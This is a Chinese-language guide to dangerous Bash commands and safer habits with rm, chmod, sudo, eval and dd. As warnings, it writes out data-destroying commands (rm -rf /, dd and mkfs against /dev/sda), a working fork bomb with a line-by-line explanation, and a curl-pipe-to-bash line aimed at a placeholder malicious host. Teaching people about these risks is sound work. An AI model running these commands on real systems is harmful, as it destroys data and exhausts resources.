最危险的 Bash 命令包括：
1. rm -rf / — 递归强制删除根目录下所有文件，会导致系统彻底崩溃，无法恢复。
2. Fork 炸弹 :(){ :|:& };: — 通过无限递归创建进程，瞬间耗尽系统资源，导致拒绝服务。
3. dd if=/dev/zero of=/dev/sda — 将磁盘全部覆写为零，数据永久丢失。
4. mkfs.ext4 /dev/sda — 格式化磁盘，清除所有数据。
5. curl http://恶意网址 | bash — 直接执行未经验证的远程脚本，可能植入后门或恶意软件。
这些命令一旦执行，后果往往不可逆转，务必谨慎对待。

curl -s URL | bash 这种模式被称为"盲执行"，危险性在于：
• 无法预知脚本内容：下载的脚本可能在您查看之前就已执行完毕。
• 中间人攻击风险：HTTP 连接可能被劫持，注入恶意代码。
• 权限过大：脚本将以当前用户权限运行，可能修改关键文件。
• 缺乏审计追踪：执行后很难追溯脚本到底做了什么。
安全做法：先用 curl -s URL -o script.sh 下载，审查代码，确认安全后再 bash script.sh 执行。

chmod 777 将文件或目录设置为所有人可读、可写、可执行，风险包括：
• 任意用户可修改：恶意用户可篡改脚本或配置文件。
• 权限提升：如果 777 应用于可执行文件，攻击者可替换文件内容获得控制权。
• 数据泄露：敏感配置文件（如数据库配置）可能被任意用户读取。
建议替代方案：使用 755（目录/可执行文件）或 644（普通文件），仅在绝对必要时才使用更宽松的权限。

Fork 炸弹（Fork Bomb）是一种通过无限递归创建进程来耗尽系统资源的拒绝服务攻击。
经典形式：:(){ :|:& };:，解释：
• :() — 定义一个名为 : 的函数
• { :|:& } — 函数体递归调用自身，并通过管道 fork 出两个子进程
• ; — 函数定义结束
• : — 调用该函数，触发炸弹
防范措施：
1. 使用 ulimit -u 限制用户最大进程数
2. 在 /etc/security/limits.conf 中配置进程限制
3. 不要执行来源不明的命令，尤其是在生产服务器上。

安全使用 rm 命令的最佳实践：
• 使用 -i 交互模式：rm -i 会在删除前逐一确认。
• 先 ls 后 rm：先用 ls 确认要删除的文件列表，再执行删除。
• 避免使用 -f：-f 会强制删除且不提示，极其危险。
• 使用回收站机制：安装 trash-cli，使用 trash-put 代替 rm，文件可恢复。
• 绝对路径慎用：使用绝对路径时务必再三确认，避免误删系统文件。
• 备份重要数据：定期备份，即使误删也能恢复。

使用 sudo 时需注意：
• 最小权限原则：仅在必要时使用 sudo，避免 sudo su 长期保持 root 状态。
• 谨慎使用通配符：sudo rm -rf /var/log/* 中的通配符可能意外匹配到关键文件。
• 检查命令拼写：sudo 下的拼写错误可能导致灾难性后果。
• 使用完整路径：避免 PATH 劫持，使用 /usr/bin/rm 而非 rm。
• 审查 sudoers 配置：使用 visudo 编辑，限制可执行的命令范围。
• 启用日志审计：sudo 操作会记录在 /var/log/auth.log，定期审查。

eval 会将参数作为 Shell 命令执行，风险包括：
• 命令注入：如果 eval 的参数包含用户输入，攻击者可能注入恶意命令。
• 难以调试：eval 中的变量展开和命令替换可能产生意外结果。
• 二次解析风险：eval 会对参数进行两次解析，增加不确定性。
安全建议：尽量避免使用 eval，改用数组或直接引用变量。如果必须使用，确保输入经过严格验证和转义。

dd 是强大的磁盘操作工具，俗称"数据销毁器"：
• 确认 of (输出文件)：输出目标一旦写错，数据将永久丢失。
• 设备文件危险：of=/dev/sda 直接写入磁盘，会覆盖分区表和所有数据。
• 使用前检查：lsblk 确认磁盘设备名称，mount 确认挂载状态。
• 添加状态监控：使用 status=progress 参数观察写入进度。
• 考虑安全替代：制作启动盘可使用 balenaEtcher 等图形工具，降低误操作风险。